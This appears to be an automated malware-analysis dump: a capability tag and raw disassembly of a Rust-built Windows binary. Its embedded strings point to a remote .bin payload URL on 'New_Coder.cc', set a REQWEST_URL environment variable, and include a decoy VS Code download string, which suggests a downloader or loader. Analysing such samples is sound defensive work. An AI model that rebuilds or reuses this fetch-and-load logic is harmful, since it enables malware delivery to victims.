Function at 0x14003c8f0
Capabilities:
Encode data using xor

Disassembly:
lea rcx, [rbp + 0x360]
mov rdx, rsi
mov r8, qword [rbp + 0x8c0]
call fcn.1400ba110
cmp qword [rbp + 0x360], 4
jne 0x14000c0ff
mov byte [r15], 3
mov bl, 3
mov sil, 1
mov byte [r14 + 0x148], bl
mov eax, esi
movaps xmm6, xmmword [rbp + 0x8f0]
add rsp, 0x988
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r15, [r14 + 0x140]
mov byte [r14 + 0x140], 0
lea rsi, [rbp + 0x510]
mov rcx, rsi
call fcn.14004e8a0
mov rcx, rsi
call fcn.14004f770
mov rsi, rdx
test rax, rax
jne 0x14000bd49
mov qword [r14], rsi
jmp 0x14000bd7b
mov qword [rbp + 0x510], rsi
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x14013f9e8]
lea r8, [rbp + 0x510]
mov edx, 0xd
call fcn.1401088e0
lea rdx, str.https:__code.visualstudio.com_downloadDesktopUsers_desktop_file_count:
lea rcx, [rbp + 0x360]
mov r8d, 0x26
call fcn.14004ddc0
mov rax, qword [rbp + 0x360]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000bdb8
mov ecx, 2
mov rdx, qword [rbp + 0x368]
jmp 0x14000be1f
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 0x360]
movups xmm2, xmmword [rbp + 0x370]
movups xmm3, xmmword [rbp + 0x380]
movups xmm4, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x780], xmm1
movaps xmmword [rbp + 0x790], xmm2
movaps xmmword [rbp + 0x7a0], xmm3
movaps xmmword [rbp + 0x7b0], xmm4
movups xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x7c0], xmm1
mov rcx, qword [rbp + 0x3b0]
mov qword [rbp + 0x7d0], rcx
movaps xmmword [rbp + 0x7e0], xmm0
xor ecx, ecx
lock inc qword [rsi]
jle 0x1400104c7
mov qword [rbp + 0x2e8], rsi
mov qword [rbp + 0x1d8], rcx
mov qword [rbp + 0x1e0], rdx
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rbp + 0x1e8], xmm0
mov rcx, qword [rbp + 0x90]
mov qword [rbp + 0x1f8], rcx
mov qword [rbp + 0x200], 0
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rbp + 0x208], xmm0
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x220], 8
movaps xmm0, xmmword [rbp + 0x1c0]
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], 8
mov qword [rbp + 0x240], 0
mov qword [rbp + 0x248], 2
mov qword [rbp + 0x250], 0
mov word [rbp + 0x258], 0
mov rcx, qword [rbp + 0x7d0]
mov qword [rbp + 0x2b0], rcx
movaps xmm0, xmmword [rbp + 0x7c0]
movups xmmword [rbp + 0x2a0], xmm0
movaps xmm0, xmmword [rbp + 0x780]
movdqa xmm1, xmmword [rbp + 0x790]
movdqa xmm2, xmmword [rbp + 0x7a0]
movaps xmm3, xmmword [rbp + 0x7b0]
movups xmmword [rbp + 0x290], xmm3
movdqu xmmword [rbp + 0x280], xmm2
movdqu xmmword [rbp + 0x270], xmm1
movups xmmword [rbp + 0x260], xmm0
mov dword [rbp + 0x2c0], 0x3b9aca00
mov byte [rbp + 0x2c8], 1
mov dword [rbp + 0x2c9], 0
mov dword [rbp + 0x2cc], 0
movdqa xmm0, xmmword [rbp + 0x7e0]
movdqu xmmword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2e0], 2
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000bf92
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x330]
call fcn.1400bd830
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x330], rax
jne 0x14000bfe7
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x1d8]
mov r8d, 0x118
call fcn.140106530
cmp dword [rbp + 0xa0], 2
jne 0x14000c084
mov qword [rbp + 0x510], 2
mov rax, qword [rbp + 0xa8]
mov rsi, qword [rbp + 0x1b0]
mov qword [rbp + 0x518], rax
lock dec qword [rsi]
je 0x14000c0a7
jmp 0x14000c0b3
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x30], rax
movdqu xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x20], xmm0
lea rsi, [rbp + 0x348]
lea rcx, [rbp + 0x360]
lea rdx, [rbp + 0x1d8]
mov r8d, 0x118
call fcn.140106530
lea rcx, [rbp + 0x4b8]
lea rdx, [rbp + 0x20]
mov r8, rsi
call fcn.1400bdb50
cmp dword [rbp + 0x360], 2
jne 0x14000c4c5
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x1d8]
mov r8d, 0x118
call fcn.140106530
lea rcx, [rbp + 0x4d0]
mov rax, qword [rbp + 0x4b8]
mov rdx, qword [rbp + 0x4c0]
mov r8, qword [rbp + 0x4c8]
call qword [rax + 0x10]
cmp dword [rbp + 0xa0], 2
je 0x14000bfb8
mov rsi, qword [rbp + 0x1b0]
lea rcx, [rbp + 0x510]
lea r8, [rbp + 0xa0]
mov rdx, rsi
call fcn.1400586c0
lock dec qword [rsi]
jne 0x14000c0b3
lea rcx, [rbp + 0x1b0]
call fcn.1400be6e0
lea rcx, [r14 + 8]
lea rdx, [rbp + 0x510]
mov r8d, 0x138
call fcn.140106530
lea rsi, [r14 + 8]
cmp dword [r14 + 8], 2
jne 0x14000bacc
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x14000fd02
mov qword [rbp + 0x360], 3
mov qword [rbp + 0x368], rax
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x360]
mov r8d, 0x98
call fcn.140106530
mov rcx, rsi
call fcn.140003250
cmp dword [rbp + 0x800], 3
jne 0x14000c1ca
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], 1
mov qword [rbp + 0x370], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x378], xmm0
lea rcx, [rbp + 0x360]
call fcn.1400de310
mov ecx, 3
call fcn.1400d5aa0
cmp dword [rbp + 0x800], 3
jne 0x14000c2f6
mov rsi, qword [rbp + 0x808]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14000c1b6
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000c1b6
cmp qword [rbx + 0x10], 0x11
jb 0x14000c1a4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000d60a
jmp 0x14000d5f7
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], 1
mov qword [rbp + 0x370], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x378], xmm0
lea rcx, [rbp + 0x360]
call fcn.1400de310
lea rsi, [rbp + 0x800]
mov rcx, rsi
call fcn.140002710
mov rax, qword [r14]
lock dec qword [rax]
jne 0x14000c21f
mov rcx, r14
call fcn.1400065d0
mov byte [r15], 1
lea rdx, [0x14011471c]
mov qword [rbp + 0xa0], rdx
mov qword [rbp + 0xa8], 0xb
lea rax, str.https:__New_Coder.cc_Users_aaa_20240501152151457.binREQWEST_URL
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], 0x34
lea rdi, [rbp + 0x510]
mov r8d, 0xb
mov rcx, rdi
call fcn.1400d9730
mov rcx, qword [rbp + 0x510]
mov rbx, qword [rbp + 0x518]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x14000c5d5
mov qword [rbp + 0x8b8], rcx
mov qword [rbp + 0x8d0], rbx
mov r12, r14
lea rdx, str.https:__New_Coder.cc_Users_aaa_20240501152151457.binREQWEST_URL
lea rcx, [rbp + 0x510]
mov r8d, 0x34
call fcn.1400d9730
mov r15, qword [rbp + 0x510]
mov r14, qword [rbp + 0x518]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x14000c582
mov rbx, r14
cmp qword [rbp + 0x8b8], 0
mov r14, r12
mov r13, qword [rbp + 0x8d0]
jne 0x14000c5c3
jmp 0x14000c5d5
cmp qword [rbp + 0x850], 0
je 0x14000c316
mov r8, qword [rbp + 0x848]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x820]
mov rbx, qword [rbp + 0x828]
test rbx, rbx
je 0x14000c365
lea rdi, [rsi + 0x30]
jmp 0x14000c34b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x14000c365
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14000c330
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x14000c330
cmp qword [rbp + 0x818], 0
je 0x14000c381
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x838]
mov rbx, qword [rbp + 0x840]
test rbx, rbx
je 0x14000c3bb
lea rdi, [rsi + 0x38]
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x14000c3a0
cmp qword [rbp + 0x830], 0
je 0x14000c3d7
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x860]
test rsi, rsi
je 0x14000d02f
mov rax, qword [rsi + 8]
test rax, rax
je 0x14000d01d
mov qword [rbp + 0x768], rax
mov qword [rbp + 0x8d0], r15
mov rax, qword [rsi]
mov qword [rbp + 0x8b8], rax
mov r12, qword [rsi + 0x18]
test r12, r12
je 0x14000cfdb
mov rdi, qword [rbp + 0x8b8]
movdqa xmm0, xmmword [rdi]
pmovmskb r15d, xmm0
not r15d
lea r13, [rdi + 0x10]
jmp 0x14000c465
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [r15 - 1]
and eax, r15d
mov r15d, eax
dec r12
je 0x14000cfdb
test r15w, r15w
jne 0x14000c492
nop dword [rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb r15d, xmm0
add rdi, 0xfffffffffffffe00
add r13, 0x10
cmp r15d, 0xffff
je 0x14000c470
not r15d
tzcnt eax, r15d
shl eax, 5
mov rcx, rdi
sub rcx, rax
mov rbx, qword [rcx - 0x10]
mov r14, qword [rcx - 8]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14000c452
cmp qword [r14 + 0x10], 0x11
jb 0x14000c440
mov rbx, qword [rbx - 8]
jmp 0x14000c440
movups xmm0, xmmword [0x1401437e8]
movaps xmmword [rbp + 0x70], xmm0
movups xmm0, xmmword [0x1401437d8]
movaps xmmword [rbp + 0x60], xmm0
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x500], rax
movdqu xmm0, xmmword [rbp + 0x4b8]
movdqu xmm1, xmmword [rbp + 0x4c8]
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmmword [rbp + 0xa0], xmm0
mov eax, dword [rbp + 0x501]
mov ecx, dword [rbp + 0x504]
mov dword [rbp + 0xc1], eax
mov dword [rbp + 0xc4], ecx
lea rcx, [rbp + 0x388]
mov byte [rbp + 0xc0], 1
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0xa0]
call fcn.1400be0a0
cmp al, 2
je 0x14000f73b
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x360]
mov r8d, 0x118
call fcn.140106530
cmp dword [rbp + 0xa0], 2
jne 0x14000c084
jmp 0x14000bfb8
mov r13, qword [rbp + 0x8d0]
mov rcx, r13
mov rdx, r14
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
xor ebx, ebx
test eax, eax
je 0x14000d539
test r15, r15
je 0x14000c5b6
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x8b8], 0
mov r14, r12
je 0x14000c5d5
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x14000fd1a
lea rdx, [0x14011471c]
lea rcx, [rbp + 0x510]
mov r8d, 0xb
call fcn.1400d92f0
mov r9, qword [rbp + 0x510]
movabs rax, 0x8000000000000000
cmp r9, rax
jne 0x14000c619
lea rbx, [0x140114278]
jmp 0x14000bd16
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x8b8], rax
mov rax, qword [rbp + 0x520]
mov qword [rbp + 0x8d0], rax
cmp byte [rbp + 0x528], 0
lea rbx, [0x140114278]
je 0x14000d0cc
mov qword [rbp + 0x768], r9
mov qword [rbp + 0x7e0], 0
mov qword [rbp + 0x7e8], 1
mov qword [rbp + 0x7f0], 0
lea rdi, [rbp + 0x370]
lea r13, [rbp + 0x510]
lea rsi, [rbp + 0x360]
xorps xmm6, xmm6
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000c6bd
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call r12
lea rsi, [rbp + 0x360]
lea r13, [rbp + 0x510]
mov rcx, r13
call fcn.14004e8a0
mov qword [rbp + 0x6a8], 0x1e
mov dword [rbp + 0x6b0], 0
mov rcx, rsi
mov rdx, r13
call fcn.1400be7e0
mov esi, dword [rbp + 0x370]
mov r14, qword [rbp + 0x360]
cmp esi, 0x3b9aca01
jne 0x14000c720
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xa0], 3
jmp 0x14000cbd3
mov rbx, qword [rbp + 0x368]
mov eax, dword [rbp + 0x374]
mov qword [rbp + 0x1c0], r14
mov qword [rbp + 0x1c8], rbx
mov dword [rbp + 0x1d0], esi
mov dword [rbp + 0x1d4], eax
mov qword [rbp + 0x820], 0
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x810], 0
mov rcx, r13
lea rdx, [rbp + 0x800]
mov r8, qword [rbp + 0x8b8]
mov r9, qword [rbp + 0x8d0]
call fcn.1400f6df0
mov r13, qword [rbp + 0x510]
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x14000c810
movzx r12d, byte [rbp + 0x518]
movzx eax, byte [0x140182310]
mov edx, 1
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14000e83e
mov r13, rax
mov byte [rax], r12b
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14000e82f
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], r13
lea rcx, [0x14013dbb8]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
jmp 0x14000c99a
mov r12, qword [rbp + 0x518]
lea rcx, [rbp + 0x520]
movups xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movaps xmmword [rbp + 0x360], xmm0
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmmword [rbp + 0x380], xmm2
movzx edx, byte [rbp + 0x550]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x78f], rax
movdqu xmm0, xmmword [rcx + 0x31]
movdqa xmmword [rbp + 0x780], xmm0
test dl, dl
je 0x14000c91d
movaps xmm0, xmmword [rbp + 0x360]
movdqa xmm1, xmmword [rbp + 0x370]
movdqa xmm2, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x530], xmm2
movdqa xmmword [rbp + 0x520], xmm1
movaps xmmword [rbp + 0x510], xmm0
movaps xmm3, xmmword [rbp + 0x780]
movaps xmmword [rbp + 0x800], xmm3
mov rax, qword [rbp + 0x78f]
mov qword [rbp + 0x80f], rax
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x780], xmm0
movdqa xmmword [rbp + 0x790], xmm1
movdqa xmmword [rbp + 0x7a0], xmm2
mov rax, qword [rbp + 0x80f]
mov qword [rbp + 0x4f], rax
movdqa xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x10], xmm6
xor r8d, r8d
mov qword [rbp + 0x8d8], r13
mov qword [rbp + 0x7d8], r12
mov byte [rbp + 0x508], dl
xor edx, edx
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rbp + 0x510]
lea rcx, [rbp + 0x1d8]
jmp 0x14000c9b7
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14000e82f
mov qword [rax + 0x58], 1
lea rcx, [0x14013de10]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], r13
mov qword [rax + 8], r12
movaps xmm0, xmmword [rbp + 0x360]
movdqa xmm1, xmmword [rbp + 0x370]
movdqa xmm2, xmmword [rbp + 0x380]
movups xmmword [rax + 0x10], xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movdqa xmm0, xmmword [rbp + 0x780]
movdqu xmmword [rax + 0x41], xmm0
mov rcx, qword [rbp + 0x78f]
mov qword [rax + 0x50], rcx
lea rcx, [rbp + 0x1d8]
mov edx, 2
mov r8b, 1
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
lea r13, [rbp + 0x510]
lock inc qword [r14]
jle 0x1400104c7
mov qword [rbp + 0x498], r14
mov qword [rbp + 0x4a0], rbx
mov dword [rbp + 0x4a8], esi
mov qword [rbp + 0x360], rdx
mov qword [rbp + 0x368], rax
mov rax, qword [rbp - 8]
mov qword [rdi + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rdi], xmm0
mov qword [rbp + 0x388], 0
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rdi + 0x20], xmm0
mov qword [rbp + 0x3a0], 0
mov qword [rbp + 0x3a8], 8
movaps xmm0, xmmword [rbp]
movups xmmword [rdi + 0x40], xmm0
mov qword [rbp + 0x3c0], 8
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov word [rbp + 0x3e0], 0
movzx eax, word [rbp + 0x32e]
mov word [rdi + 0x76], ax
mov eax, dword [rbp + 0x32a]
mov dword [rdi + 0x72], eax
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x3e8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x3f0], rax
movaps xmm0, xmmword [rbp + 0x780]
movaps xmm1, xmmword [rbp + 0x790]
movdqa xmm2, xmmword [rbp + 0x7a0]
movdqu xmmword [rdi + 0xa8], xmm2
movups xmmword [rdi + 0x98], xmm1
movups xmmword [rdi + 0x88], xmm0
movzx eax, byte [rbp + 0x508]
mov byte [rbp + 0x428], al
mov rax, qword [rbp + 0x4f]
mov qword [rdi + 0xc8], rax
movaps xmm0, xmmword [rbp + 0x40]
movups xmmword [rdi + 0xb9], xmm0
mov dword [rbp + 0x448], 0x3b9aca00
mov byte [rbp + 0x450], 1
mov dword [rdi + 0xe4], 0
mov dword [rdi + 0xe1], 0
movaps xmm0, xmmword [rbp + 0x10]
movups xmmword [rdi + 0xe8], xmm0
mov byte [rbp + 0x468], 2
mov eax, dword [rbp + 0x1b9]
mov edx, dword [rbp + 0x1bc]
mov dword [rdi + 0xfc], edx
mov dword [rdi + 0xf9], eax
mov qword [rbp + 0x470], 2
movdqu xmm0, xmmword [rbp + 0x20]
movdqu xmm1, xmmword [rbp + 0x30]
movdqu xmmword [rdi + 0x118], xmm1
movdqu xmmword [rdi + 0x108], xmm0
test r8b, r8b
jne 0x14000cb81
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x3e8]
call fcn.1400bd830
lea rcx, [rbp + 0x1d8]
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x800], rax
jne 0x14000cceb
mov r8d, 0x150
lea rdx, [rbp + 0x360]
mov r15, rcx
call fcn.140106530
lea rbx, [0x140114278]
lea rcx, [rbp + 0xa0]
mov rdx, r15
call fcn.1400c4fb0
lock dec qword [r14]
jne 0x14000cbbe
lea rcx, [rbp + 0x1c0]
call fcn.140005640
cmp qword [rbp + 0xa0], 3
jne 0x14000ce36
mov r14, qword [rbp + 0xa8]
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], 8
movups xmmword [rbp + 0x528], xmm6
mov rcx, r13
call fcn.1400de310
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14000cc89
mov r13, rax
mov qword [rbp + 0x510], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x510]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14000cc80
mov rcx, r13
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov esi, eax
mov rcx, r13
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x14000cc89
mov r13, qword [r14 + 0x58]
test r13, r13
jne 0x14000cc9d
jmp 0x14000ccc7
mov rcx, r13
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
mov r13, qword [r14 + 0x58]
test r13, r13
je 0x14000ccc7
mov rsi, qword [r14 + 0x60]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000ccc7
cmp qword [rsi + 0x10], 0x11
jb 0x14000ccb8
mov r13, qword [r13 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call r12
mov rax, qword [r14]
shl rax, 1
test rax, rax
je 0x14000c6a0
mov r8, qword [r14 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
jmp 0x14000c6a0
mov rax, qword [rbp + 0x810]
mov qword [rbp + 0x90], rax
movdqu xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x80], xmm0
mov r8d, 0x150
mov rcx, r13
lea rsi, [rbp + 0x360]
mov rdx, rsi
call fcn.140106530
lea rcx, [rbp + 0x4b8]
lea rdx, [rbp + 0x80]
lea r8, [rbp + 0x818]
call fcn.1400bdb50
cmp dword [rbp + 0x510], 2
lea rbx, [0x140114278]
jne 0x14000cd87
mov r8d, 0x150
lea r15, [rbp + 0x1d8]
mov rcx, r15
mov rdx, rsi
call fcn.140106530
mov rax, qword [rbp + 0x4b8]
mov rdx, qword [rbp + 0x4c0]
mov r8, qword [rbp + 0x4c8]
lea rcx, [rbp + 0x4d0]
call qword [rax + 0x10]
jmp 0x14000cb9d
movups xmm0, xmmword [0x1401437e8]
movaps xmmword [rbp + 0x70], xmm0
movups xmm0, xmmword [0x1401437d8]
movaps xmmword [rbp + 0x60], xmm0
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x500], rax
movdqu xmm0, xmmword [rbp + 0x4b8]
movdqu xmm1, xmmword [rbp + 0x4c8]
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmmword [rbp + 0x340], xmm1
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x501]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
lea rdx, [rbp + 0x351]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov byte [rbp + 0x350], 1
lea rcx, [rbp + 0x538]
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x330]
call fcn.1400be0a0
cmp al, 2
je 0x14000f73b
mov r8d, 0x150
lea r15, [rbp + 0x1d8]
mov rcx, r15
mov rdx, r13
call fcn.140106530
jmp 0x14000cb9d
lea rsi, [rbp + 0x510]
lea rdx, [rbp + 0xa0]
mov r8d, 0xc0
mov rcx, rsi
call fcn.140106530
lea rdx, [rbp + 0x7e0]
mov rcx, rsi
call fcn.140001f30
mov rsi, rdx
test rax, rax
je 0x14000d177
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], 1
mov qword [rbp + 0x370], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x378], xmm0
lea rcx, [rbp + 0x360]
call fcn.1400de310
mov eax, esi
and eax, 3
cmp eax, 1
mov r14, qword [rbp + 0x778]
jne 0x14000cf29
lea rdi, [rsi - 1]
mov rbx, qword [rsi - 1]
mov rsi, qword [rsi + 7]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000cee8
cmp qword [rsi + 0x10], 0x11
jb 0x14000ced6
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [0x140114278]
lea rcx, [rbp + 0x510]
call fcn.140003470
cmp dword [rbp + 0xa0], 3
je 0x14000cf3e
cmp qword [rbp + 0x7e0], 0
jne 0x14000cfc0
jmp 0x14000d578
lea rcx, [rbp + 0x510]
call fcn.140003470
cmp dword [rbp + 0xa0], 3
jne 0x14000cf16
mov rsi, qword [rbp + 0xa8]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14000cf7b
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000cf7b
cmp qword [rbx + 0x10], 0x11
jb 0x14000cf69
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000cf99
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [0x140114278]
cmp qword [rbp + 0x7e0], 0
je 0x14000d578
mov r8, qword [rbp + 0x7e8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d578
mov rcx, qword [rbp + 0x768]
mov rax, rcx
shl rax, 5
add rcx, rax
cmp rcx, 0xffffffffffffffcf
mov r14, qword [rbp + 0x778]
mov r15, qword [rbp + 0x8d0]
je 0x14000d01d
mov r8, qword [rbp + 0x8b8]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x870]
test rax, rax
je 0x14000d058
lea rcx, [rbp + 0x888]
mov rdx, qword [rbp + 0x878]
mov r8, qword [rbp + 0x880]
call qword [rax + 0x10]
jmp 0x14000d5ea
mov rsi, qword [rbp + 0x878]
mov rdi, qword [rbp + 0x880]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000d08f
cmp qword [rdi + 0x10], 0x11
jb 0x14000d07d
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x888]
test rsi, rsi
je 0x14000d5ea
mov rcx, rsi
call fcn.1400ec890
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x14000d5ba
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14000d5c8
call fcn.140005d10
jmp 0x14000d5c8
cmp qword [rbp + 0x8d0], 0
je 0x14000c649
mov rdx, qword [rbp + 0x8b8]
mov rax, qword [rbp + 0x8d0]
add rax, rdx
jmp 0x14000d10c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14000c649
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x14000d100
cmp r8b, 0xe0
jb 0x14000d0ed
cmp r8b, 0xed
jne 0x14000d14e
cmp rcx, rax
je 0x14000c649
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14000c649
cmp byte [rdx + 1], 0x9f
ja 0x14000d62b
add rdx, 3
mov rcx, rdx
jmp 0x14000d100
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x14000d100
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14000d100
test rsi, rsi
je 0x14000d417
mov edi, 0x2000
mov r13, qword [rbp + 0x7f0]
movabs rsi, 0x2600000003
xor r15d, r15d
mov r12, qword [rbp + 0x7e0]
mov rax, r12
or rax, r13
lea rbx, [0x140114278]
je 0x14000d200
sub r12, r13
jne 0x14000d243
